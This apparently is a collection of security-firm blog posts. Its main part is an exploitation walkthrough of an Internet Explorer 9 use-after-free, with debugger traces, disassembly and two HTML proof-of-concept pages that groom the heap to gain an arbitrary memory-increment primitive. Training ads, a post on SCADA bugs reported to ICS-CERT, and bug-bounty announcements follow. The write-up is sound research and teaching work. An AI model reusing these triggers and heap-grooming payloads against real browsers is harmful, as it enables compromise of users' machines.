08c9cb90 71ccdb7d MSHTML!CSelectionManager::SetEditContextFromCurrencyChange+0x2d6
08c9cbb8 71ef200f MSHTML!CSelectionManager::Notify+0x1e0
08c9cbcc 71ef1fc2 MSHTML!CHTMLEditor::Notify+0x5a
08c9cbe8 71ccce15 MSHTML!CHTMLEditorProxy::Notify+0x21
08c9ccd0 71d9a7a4 MSHTML!CDoc::SetCurrentElem+0x525
08c9cd2c 71ccdef8 MSHTML!CElement::BecomeCurrent+0x1d6
08c9cd60 71c51018 MSHTML!CElement::focusHelperInternal+0x109
08c9cd78 710d85fe MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x58
08c9cdac 71116402 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9ce00 08d804da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117
WARNING: Frame IP not in any known module. Following frames may be wrong.
08c9ce58 710d85fe 0x8d804da
08c9ce94 710d8523 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9cef8 710d845a jscript9!Js::JavascriptFunction::CallRootFunction+0xb6
08c9cf34 710d83e6 jscript9!ScriptSite::CallRootFunction+0x4f
08c9cf5c 71119c8d jscript9!ScriptSite::Execute+0x63
08c9cfc0 71df27b9 jscript9!ScriptEngine::Execute+0x11a
08c9d044 71df26e3 MSHTML!CListenerDispatch::InvokeVar+0x12a
08c9d064 71e4d050 MSHTML!CListenerDispatch::Invoke+0x40
08c9d0e8 71d4e894 MSHTML!CEventMgr::_InvokeListeners+0x187
08c9d110 71e4d147 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc
08c9d2d4 71edc03c MSHTML!CEventMgr::Dispatch+0x3cc
08c9d2fc 71df2ab0 MSHTML!CEventMgr::DispatchEvent+0xc9
08c9d330 71dc4062 MSHTML!COmWindowProxy::Fire_onload+0x123
08c9d394 71dc3c7a MSHTML!CMarkup::OnLoadStatusDone+0x5eb
08c9d3b4 71dc3c6f MSHTML!CMarkup::OnLoadStatus+0xb6
08c9d804 71d2ffbc MSHTML!CProgSink::DoUpdate+0x5dc
08c9d814 71eaa339 MSHTML!CProgSink::OnMethodCall+0x12
08c9d850 71ec9ba0 MSHTML!GlobalWndOnMethodCall+0x115

1:020> ub
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x36:
call    MSHTML!EdUtil::FireOnEvent
mov     dword ptr [ebp-8],eax
shl     eax,0Fh

I wont be going into the details and root cause analysis for this crash but will mainly focus exploitation, but the main concept is that the body.onload() function triggers the onbeforeeditfocus handler to be called and the function apparently deletes some important data that causes a crash once we return from the ‘FireOnEvent’ function.

Unfortunately the VM I’m playing on has an windbg version that sometimes fails the user stack trace lookup, so I cannot show you that trace at this point. I can tell you the size of the allocation however, thanks to Fermin’s subtraction technique:

1:019> .printf "size is 0x%x", 1000 - edi & 0xFFF
size is 0xc8

So we know we are freeing a size 0xC8 piece of memory that contains some data that is being reused later on. Time to assess the exploitability of this issue, and mainly the exploitability when running with full process ASLR (no cheating as many public exploits these days seem to do).

First off all we need to check if we can replace the freed memory with our own data. Thanks to the Low Fragmentation Heap (LFH) this is pretty easy, by simply allocating 0xC8 bytes after the document.write() call we should re-occupy the last freed slot of 0xC8 sized memory. To make sure this allocation size uses the LFH allocator we make a few allocation of this size before we start the whole fun.

Setting a breakpoint at the initial crash location allows us to inspect our progress (don’t forget to turn off PageHeap to make sure the LFH allocator will be activated).

Actually, if at this point you want to stop reading and try to create the exploit yourself, go ahead and do so as spoilers are on the way.

Control

Back to the progress: taking control over freed memory:

<!doctype html>
<HTML>
  <head>
    <script>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');
        lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
      }

      function setinput() {
        try { document.write('Timber'); } catch(e) {}
        d = document.createElement('div');
        d.className = "uFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFF";
      }

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        document.getElementsByTagName('input')[0].focus();
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

Lets run this and watch the effects:

1:019> bp !mshtml + 0x383f37  ".printf "AFTER FireOnEvent : edi %p", edi; .echo; dc edi L0xc8/4;.echo;"
AFTER FireOnEvent : edi 1072a440
1072a440  71eb2d04 71eb320c 00000002 106f4920  .-.q.2.q.... Io.
1072a450  106eff10 106eff38 107309a0 00000000  ..n.8.n...s.....
1072a460  107308e0 00000000 00000000 0000000f  ..s.............
1072a470  00000001 00000000 00908002 00000000  ................
1072a480  00000000 00000000 00000000 00000000  ................
1072a490  106c3dc0 00000000 ffffffff 00000000  .=l.............
1072a4a0  00000000 00000000 00000000 00000000  ................
1072a4b0  00000000 107309a0 00000000 00000000  ......s.........
1072a4c0  00000000 106c3dc0 1072cd88 1072ce40  .....=l...r.@.r.
1072a4d0  00000000 106efe20 106efe48 106efe70  .... .n.H.n.p.n.
1072a4e0  106efe98 106efec0 106efee8 00000000  ..n...n...n.....
1072a4f0  00000000 00000000 00000000 00000000  ................
1072a500  00000000 00000000                    ........

eax=00008000 ebx=107309a0 ecx=00000000 edx=00000001 esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330cca8 ebp=1330ccc0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=02809000
1:019> g
AFTER FireOnEvent : edi 1072a440
1072a440  ffffffff ffffffff ffffffff ffffffff  ................
1072a450  ffffffff ffffffff ffffffff ffffffff  ................
1072a460  ffffffff ffffffff ffffffff ffffffff  ................
1072a470  ffffffff ffffffff ffffffff ffffffff  ................
1072a480  ffffffff ffffffff ffffffff ffffffff  ................
1072a490  ffffffff ffffffff ffffffff ffffffff  ................
1072a4a0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4b0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4c0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4d0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4e0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4f0  ffffffff ffffffff ffffffff ffffffff  ................
1072a500  ffffffff 0000ffff                    ........

eax=00008000 ebx=10730a60 ecx=0000005d edx=0000005c esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330c960 ebp=1330c978 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=ffffffff

As can be seen we have successfully taken over the freed memory allocation (the breakpoint hits twice and the 2nd time is when it was originally freed memory) and are now operating on data under our control. Next question is: “What now?”. First of all this does not seem to be one of those easy ‘control virtual function table and then control program flow’ style use-after-frees. At this point you should probably dig deeper and look into what the object/memory is supposed to be before it is freed to gain more insight and what route to take toward exploitation, but we wont do that to spare you some reading and me a lot of typing. It is also possible to create different types of crashes that might give you faster vftable control, but we’ll be working with this version since it allows us to do funny things.

We will start to just look at the function at the point of the crash and work from them under the assumption that we control the memory in [edi]. Opening the crash location and selecting ‘edi’ at the crash point shows us that edi comes from eax at the beginning of the function.

1-edi-assigned

We also see that the result of the ‘EdUtil::FireOnEvent’ call is used to determine a jump at the end of the basic block:

2-eax-jnz

The result of the function is ‘1’ resulting in the the jnz not being taken and the function ending shortly after that without using the freed data again. Of course, you really need to dig into the function and find out why it returns 1 and not 0 which gives you much more exploitation flexibility, but again: shortcut time, we’re not doing that here.

3-jnz-to-retn

We’ll need to go up a few function to find a place where the freed memory is being accessed again. You can use the call stack or code cross references in IDA to do that, or step through it in WinDBG, whichever you prefer. You should be able to figure out that in “MSHTML!CSelectionManager::SetEditContext+0xf2:” the memory is used again, but nothing thereabouts seems to be too useful:


71e03e93 836738f7        and     dword ptr [edi+38h],0FFFFFFF7h ds:002b:0083b968=ffffffff

Tracing further will tell you that you’ve ended up inside CSelectionManager::EndSelectionChange with controlled memory being set to eax just before the call:

4-Call-EndSelection

This is where things get interesting. If you need a break from my ramblings I suggest you take a look at the function, assuming that you can control the data in eax at the beginning of the function and find an interesting path through to the epilogue. When working in a fully-ASLRed process there are a few ways that I can currently think of that will not crash:

  1. Replace freed objects with other objects so virtual calls are correctly resolved into a module
  2. Avoid any and all virtual function calls
  3. use USER_SHARE_DATA to call LdrHotPatchRoutine

I have created a PNG of the whole function by taking a few screenshots and pasting them together in a graphics editor, mspaint.exe (there are probably better approaches to that but, hey, this worked). Use right click: open in new tab/window if your screen size isn’t big enough to read it when you click it normally.

5-Full-EndSelection

I highlighted ‘esi’ in the function since that is the register that points to our data. The thing that caught my eye when I was looking at this was the following code:

.text:63904388 loc_63904388:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)-22579Fj
.text:63904388                 mov     esi, [esi+0Ch]
.text:6390438B                 test    eax, eax
.text:6390438D                 jnz     loc_6378E064
.text:63904393                 inc     dword ptr [esi+0A0h]
.text:63904399                 jmp     loc_639B2DD2

If we can reach that block without crashing and with eax set to the correct value (0x0) we can INCrement whatever memory address that we want. This seems somewhat limited but we’ll get back to that later. First lets try to reach that block and once we reach the problematic situation we can worry about actual pursuit of exploitation.

If we slowly step through the function we will see what values we need to have in our controlled memory to be able to reach the code without crashing. If you at this point are working with a non-ASLR library you want to take a different path that leads to a virtual function table call with the pointer under your control, but that’s not what we are after.

Stepping through the function show us:

.text:639B2DAE                 dec     dword ptr [esi+90h]
.text:639B2DB4                 mov     eax, [esi+90h]
...
.text:639B2DC3                 test    eax, eax
.text:639B2DC5                 short loc_639B2DD2

[esi+0x90] should be 0x1 at the beginning.

.text:6390282A loc_6390282A:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)+15j
.text:6390282A                 shl     ecx, 4
.text:6390282D                 xor     ecx, [esi+3Ch]
.text:63902830                 and     ecx, 10h
.text:63902833                 xor     [esi+3Ch], ecx
.text:63902836                 jmp     loc_639B2DC3
.
.
.
.text:639B2DC7                 mov     eax, [esi+3Ch]
.text:639B2DCA                 test    al, 10h
.text:639B2DCC                 jnz     loc_63904352

[esi+0x3C] need to pass some test for 0x10, so we’ll just poke at that until it complies.

The block of code we want to reach requires eax to be 0x0 to take the right jump. For this to happen we need to trace back where eax is being set and figure out which path we need to walk to get there. There are two places right above the block we want to reach that can set eax:

loc_6378D607:
mov     eax, edi

and

.text:6390437C                 test    byte ptr [esi+3Ch], 2
.text:63904380                 jnz     loc_6378D607
.text:63904386                 xor     eax, eax

A little inspection show that edi will be non zero at the point where edi is moved to eax, so the only route we can take is the ‘xor eax, eax’ path. To reach this we need to survive through additional functions:
CSelectionManager::GetTrackerType‘ and ‘CSelectionManager::ShouldCaretBeInteractive‘ and both need to return the right return values. This can be achieved without too much hassle.

CSelectionManager::GetTrackerType should return either 1 or 2 which can be achieved by having our data + 0x50 point to memory where at offset 0xC you can find the value 0x1 or 0x2:

6-CTrackerType

The other function: CSelectionManager::ShouldCaretBeInteractive, is a little bit more complex, but can also be navigated through without the process crashing. I will not sit you through that but instead will point out that you can find a value of 0x1 inside the USER_SHARE_DATA at a 0x7ffe0240. I think it’s about time to test a proof of concept that will allow us to INC dword ptr [0xCONTROLLED] and then go from there.

To do this we need to be able allocate an 0xC8-sized piece of memory and fill it with data under our control including values of u0000 (we need 0x1 at offset +0x90). The element.className trick we used in our previous sample wont cut it since the string will terminate at the first u0000 it encounters. There are however plenty more way to have some fun with the heap in Internet Explorer 9. One of the tricks I like to use consists of the following lines of code:

a = document.createElement('area');
a.shape = 'poly';
a.coords = '1,2,3,4,5,6,7,8,9,10';

This snippet creates an AREA element, set its shape to be a polygon and then assigns a list of points (x,y) to its ‘coord’ property. This results in an allocation that consists of:
[NUMBER_OF_POINTS][X][Y][X][Y] …. with all the values converted to hex double words. Using this we do not control the first 4 bytes of the allocation but we’ll be able to easily control the rest and set it to values we want. This results in the proof of concept shown below:

<!doctype html>
<HTML>
	<head>
		<script>
			lfh = new Array(20);
			for(i = 0; i < lfh.length; i++) {
				lfh[i] = document.createElement('div');
				lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
			}

			function setinput() {
				try { document.write('Timber'); } catch(e) {}
				d = document.createElement('area');
				d.shape = "poly"
				d.coords = "1,2,606348324,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
			}

			function loaded() {
				document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
				document.getElementsByTagName('input')[0].focus();
			}
		</script>
	</head>
	<body onload="loaded();">
		<input value="ExodusIntel" type="text"></input>
	</body>
</html>

This cause the following crash in IE:

(638.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=131ec89c edx=00000033 esi=24242424 edi=00000001
eip=71e04393 esp=131ec8a0 ebp=131ec8d8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!CSelectionManager::EndSelectionChange+0x87:
71e04393 ff86a0000000    inc     dword ptr [esi+0A0h] ds:002b:242424c4=????????

So there you have it, our exploit primitive allows us to INCrement data at a single 4 byte address of our choosing. Is that enough to

  1. Force a memory disclosure needed to bypass ASLR
  2. Control the flow of the execution with enough control to bypass DEP

The answer is of course Yes, otherwise I wouldn’t be writing this blog. As a matter of fact, I found two somewhat distinct ways to do this.

And…. my time is up for this week. I will write the follow up with at least one exploit and publish it next week after Thanksgiving, anyone who sends me either a workable idea, or even better, an actual working exploit will get a shoutout in Part 2.

A few notes on the exploit I wrote:

  • Due to the requirements our memory replacement has (size 0xC8, some specific values at certain offsets) we’re almost certainly stuck with a ‘fixed’ address as the memory address we can INC. Feel free to add a heapspray if you need.
  • We will only trigger the ‘crash’ once and thus the initial exploit primitive of INC[memory] will be used for both a memory disclosure followed by process control.

To be continued….

Exodus Intelligence 2013 Training Courses

Thoughts of winning Pwn2Own–or just have the urge to thoroughly bend browsers to your will? Come learn the tricks of the trade firsthand from a former Pwn2Own winner himself! Peter Vreugdenhil and Brandon Edwards will be teaching their brand-new, never before seen Browser Exploitation class in which they will be dropping all sorts of tricks amassed from many virtual years browsing the web in their own special way (including new ways to force memory disclosure to bypass ASLR). In order to deliver the most up-to-date material for such a course, the instructors will walk through the process of (reliably) exploiting an IE vulnerability patched my Microsoft within the last 3 months.

We will also have Aaron Portnoy and Zef Cekaj, who have spent the last year contemplating the art that is reverse engineering and synthesizing what differentiates the successful vulnerability hunters from the bit flippers. They are excited to be giving their new Breaking Binary Applications class, covering browser plugins (and memory disclosure), enterprise server-side software (expect at least one un-patched remote Microsoft Exchange bug), the hilarity that is SCADA (or: how to get Slashdot’ed with only 6 hours of work), and more. Learn their field-tested techniques to discover 0-day and their processes for popping the elusive calculator.

Students will be required to take a blood oath swearing their agreement to be bound by the Exodus FrieNDA and not discuss the (currently) unpatched vulnerabilities we’ll be exploiting during the two courses.

…OK, maybe the blood oath was going a bit far, but seriously: no snitches (show some sympathy at least, these bugs are on death row).

The training classes will be hosted at the Exodus Intelligence office in sunny Austin, Texas during the week of February 18th. The benefit of hosting it at our office is that you’ll be able to interact with the whole Exodus team as well as enjoy a week of training followed by an authentic Texas BBQ party at a popular downtown bar hosted by our resident grillmaster Logan Brown (you may remember his name from the Ekoparty Texas vs Argentinian BBQ competition last year). Drinks and food will be included, of course.


Abstracts

Breaking Binary Applications

Aaron Portnoy and Zef Cekaj

Prerequisites:

  • IDA Pro at least version 6.1 with a working IDAPython and PySide built by Hex-Rays on Windows (virtualized is acceptable)
  • The ability to run VMware virtual machines (player or workstation will work)
  • A working install of the IDA Toolbag plugin for IDA Pro
  • A working knowledge of the Python programming language

This three day training is an extremely hands-on course intended to give the attendees realistic experience auditing closed-source applications for the purposes of vulnerability discovery and exploitation. We will cover the crucial methodologies we’ve used over the years to unearth flaws in server-side, client-side, SCADA products, browser plugins, media players, mail clients, and more.

The first day will be devoted to building the students’ arsenal of tools and techniques to enumerate software’s attack surface, determining where weak points that should be targeted exist, peeking under the hood to gain in-depth knowledge about how the software operates, and ultimately preparing to break it. Day one will also cover specific tools that can greatly improve the efficiency of a bug hunter. Most notably, we will cover our IDA Toolbag plugin and demonstrate how, through the power of IDAPython, a reverse engineer can automate many of the more tedious aspects of the bug hunting process.

The following two days will be entirely devoted to applying the aforementioned techniques against products that the Exodus team has found critical vulnerabilities in. Each target has been specifically chosen to impart upon the student a unique lesson about the bug hunting process.

If time permits we will walk the class through exploitation of one or more of the bugs they discovered. This will, of course, cover bypassing any of the exploitation mitigations that are present.


Browser Exploitation

Peter Vreugdenhil and Brandon Edwards

Prerequisites:

  • IDA Pro at least version 6.1 with a working IDAPython and PySide built by Hex-Rays on Windows (virtualized is acceptable)
  • The ability to run VMware virtual machines (player or workstation will work)
  • A working install of the IDA Toolbag plugin for IDA Pro
  • A working knowledge of the Python programming language

This two day class, taught by a former Pwn2Own winner and pioneer in the art of client-side vulnerability development, is a highly interactive, hands-on training delving into the intricacies of browser exploitation. This course starts by introducing the methods used to uncover some of the most impactful recent browser vulnerabilities, and then quickly moves into the processes of in-depth analysis and vulnerability comprehension, revealing the tools and techniques used by the Exodus team to transform crashes into reliable exploits, bypassing modern protections such as DEP and ASLR along the way.

Students will develop a working familiarity with the concepts presented through hands-on exercises, applying the course material to exploit modern vulnerabilities such as MS012-063. This course focuses on Internet Explorer, but students will leave equipped with a foundation of knowledge and insight applicable to exploiting any modern browser.


Schedule and Pricing

A limited number of student and group discounts are available. Please e-mail us at info@exodusintel.com for more information.

Breaking Binary Applications: February 18th-20th (3 days) – $3000 USD
Browser Exploitation: February 21st and 22nd (2 days) – $2000 USD

You may register on the Exodus website at: http://www.exodusintel.com/#2013.


Testimonials

Via E-Mail:

"I just wanted to take a moment to let you know that I thought the training you gave over the past three days was wonderful. I believe I learnt a lot from both of you, and truly appreciate the effort that you guys put in preparing the materials, finding the teaching targets, doing up the exploits beforehand, and everything else. I know for sure that there must have been much, much more that transpired behind the scene that you guys did that we, who simply sat there and enjoyed the fruits of your labour, would definitely be oblivious to :P So, thanks a bunch for that! It's truly appreciated!

I thought the best part of the training was two-fold: First, in just seeing how you do things, both in terms of the little "demo" reversing you gave, as well as in terms of the way you describe your approach and thought processes, not out-rightly but subtly, perhaps even unconsciously, that gave a tremendous insight into what I and my team don't do well, or can improve on. Those little nuggets of information obviously came from loads of experience, and it's something that I really value, and will be taking home :) The second bit is the part about automating reversing. To be honest I never really thought that reversing could be made so much quicker and easier, and most importantly, more precise ("cheating", you called it :P). Your sharing about automation techniques opened up a whole new dimension -- to think about, and to get started on."



"The training was great! This was my first training at any security conference and I think was lucky to attend the best one! I wish this was for 5 days :)"



"I thought the class last week was great. It was my favorite part of the Pwn2Own week and out of all the other trainings I’ve been to, your training was the best and most useful I’ve attended. Some other student’s I talked to were at times overwhelmed by the rapid fire delivery of the course material. Personally, I liked the fast paced nature of the class because it kept me actively interested and engaged. The “real world” nature of the exercises also made them more fun to do."


Via Twitter:

"Great first day of Bug Hunting with @aaronportnoy and Zef. Eyes open farther; hope I can sleep!"

"Just attended "Bug Hunting and Analysis 0x65" by @aaronportnoy and @the_navs. If you want to discover Windows 0days, take this class."

"Epic day one of bug hunting. Great material and instruction. Looking forward to day two. @aaronportnoy"

"@aaronportnoy Today was an intense training day. The concepts and techniques are growing on me as time is passing by. You and Zef are great."


Contact

You can always e-mail info@exodusintel.com for any inquiries regarding our training classes or vulnerability intelligence feed offerings.

What does a flightless bird and SCADA software have in common?

They’re both easy targets.

If you’ve been paying attention to the security industry for any length of time then you’re probably familiar with the non-disclosure vs responsible disclosure vs full disclosure stances researchers take with regard to vulnerabilities they discover. As the value of vulnerabilities has been steadily going up over the years, more and more individuals and organizations are aligning themselves with the non-disclosure crowd and not for the traditional reasons. These days there seem to be an increasing number of cases of individuals hiding behind non-disclosure for reasons that generally tend to end up revolving around them making more money than reputable outlets provide.

When I read that a new company out of Italy Malta called ReVuln has discovered vulnerabilities in SCADA software and decided not to inform the affected vendors, but rather sell the information privately to their customers, I was intrigued.

Here is some of the press coverage they received:

Security Firm Showcases Vulnerabilities in SCADA Software, Won’t Report Them to Vendors

ReVuln claims 0day vulnerabilities for SCADA systems

Security Firm ReVuln Showcases SCADA Zero-Days

ReVuln showcases vulnerabilities in SCADA software, but won’t report them to vendors

Exploit broker releases EXPLICIT VIDS of holes in industrial control kit

As ReVuln founder Luigi Auriemma is quoted as saying:

“ICS-CERT has just contacted us some minutes ago requesting more details but we don’t release information,” “[The vulnerabilities] are part of our portfolio for our customers so no public details will be released; they will remain private.”

For those of you who do not know, SCADA systems run things like power plants, airports, manufacturing facilities, and so on (read the wikipedia page for more info). While these may not be defined as “Internet infrastructure”, I would argue that they are even more crucial to the safety and security of the general populace (especially when you think about the national security implications of vulnerabilities in these systems).

On Thanksgiving day I had a morning’s worth of time to wait for a turkey to cook, so I decided to take a shot at finding as many SCADA 0day vulnerabilities as possible. As we at Exodus we responsibly report all vulnerabilities we deal with, my goal was to report any such findings for free to ICS-CERT, the group responsible for collaborating with SCADA vendors to ensure vulnerabilities are fixed.

Here’s a list of the vendors and types of vulnerabilities I found (23 in all):

Rockwell Automation

  • 1 remote code execution vulnerability
  • 1 denial of service vulnerabilty
  • discovery that one piece of Rockwell software installs Adobe Reader 8 which is susceptible to an innumerable amount of remote code execution flaws

Schneider Electric

  • 3 remote code execution vulnerabilities
  • 1 denial of service vulnerability

Indusoft

  • 1 denial of service vulnerability

RealFlex

  • 8 denial of service vulnerabilities

Eaton Corporation

  • 3 remote code execution vulnerabilities
  • 2 denial of service vulnerabilities
  • 1 arbitrary file download vulnerability
  • 1 arbitrary file deletion vulnerability
  • 1 arbitrary file upload/overwrite vulnerability

The most interesting thing about these bugs was how trivial they were to find. The first exploitable 0day took a mere 7 minutes to discover from the time the software was installed. For someone who has spent a lot of time auditing software used in the enterprise and consumer space, SCADA was absurdly simple in comparison. The most difficult part of finding SCADA vulnerabilities seems to be locating the software itself. I plan to put in a request to the ICS-CERT that they perhaps establish a repository of SCADA software for researchers like myself to audit (provided they agree to disclose the vulnerabilities, that is). Even a list of what software is of interest would be beneficial.

All of the vulnerabilities listed above will be responsibly disclosed to the ICS-CERT team just following the publication of this post.

Now, I realize I haven’t found nearly all the vulnerabilities in these products, but hopefully there is some overlap with those that were never going to end up in the hands of those able to fix them. I will probably take another (longer than one morning) shot at similar software sometime in the future, but for now it was just a nice way to pass the time.

Happy Thanksgiving.


Aaron
@aaronportnoy

EIP August Incentives

The mood here at Exodus Intelligence is excitement over the community reception of  our EIP program. We have had over 60 submissions in the past 6 weeks since we launched, and we have been able to purchase over 20% of the submissions.

That number might sound low, but it is no secret that we are a little more particular in what we pursue, as we are actually exploiting each acquisition. We also are looking to make the largest impact possible, by only pursuing vulns affecting common, and widely deployed software. To counter this selectiveness, we are paying our researchers almost double what is offered at similar programs, as we value the information, and the researchers.

Another notable difference in our program, is that we are striving for a much more appropriate turn around in our analysis (10 days maximum) and we promote interaction and communication with our researchers.

The purpose of this blog is not only to boast about our program, but to notify the research community, that we are planning on boosting our purchasing power for the month of August by the following factors:

    • Price Match Guarantee

We will beat any offer from any other vulnerability acquisition program for exploitable submissions that we consider valuable to our clients

 

 

    • Charitable Donation Matching

We will dollar for dollar match any researcher that chooses to donate an Exodus vulnerability offer to an industry supporting charity (such as EFF)

 

 

    • Researcher Appreciation Multiplier

All offers we make for vulnerabilities submitted during the month of August will receive an additional 25% bonus

 

We are very grateful for our researchers, and we strive to make EIP the best program possible. To keep interest from the community and our researchers, we plan to periodically have incentive months similar to this. We will feel out how this month goes to determine what we will do next, and we are open for suggestions from the community on ideas for future incentives.

 

Announcing the Exodus Intelligence Program

We are excited to announce that the Exodus Intelligence Program is now accepting submissions!

The EIP was designed by those with a long history both discovering vulnerabilities as well as procuring them through various acquisition programs. Our collective experience has allowed us to architect the EIP such that it is appealing to those who have the skill and desire to receive compensation for their research.

All vulnerabilities purchased through the EIP will be disclosed to the affected vendor(s) for remediation.

Some of the benefits for researchers participating in the EIP include a 10 business day decision timeline, starting when a submission is first received. We also intend to maintain a highly transparent program whereby our analysts are reachable by the contributing researchers for any questions. For those submissions we do procure, we will provide the researcher who sent it in with our internal analysis as to the root cause and exploitability because we believe it is essential to give back to and aid our researchers in their pursuit of knowledge.

As Exodus Intelligence does not support any products of our own, we are interested not only in code execution issues, but also vulnerabilities that other acquisition programs may not be (local vulnerabilities, memory disclosures, techniques).

One of the main focuses of Exodus is to provide information to our customers on vulnerabilities we believe are not only exploitable, but likely to be exploited. While this means we may be turning down submissions that are simply theoretically exploitable, it also means we are able to better compensate researchers for the work we are interested in.

There is a FAQ available on the EIP website, but if you have any specific questions feel free to e-mail us at eip@exodusintel.com (PGP).

For more generic questions or press inquiries, please use info@exodusintel.com (PGP).

 

Posted by: Aaron Portnoy, Zef Cekaj, Logan Brown, Brandon Edwards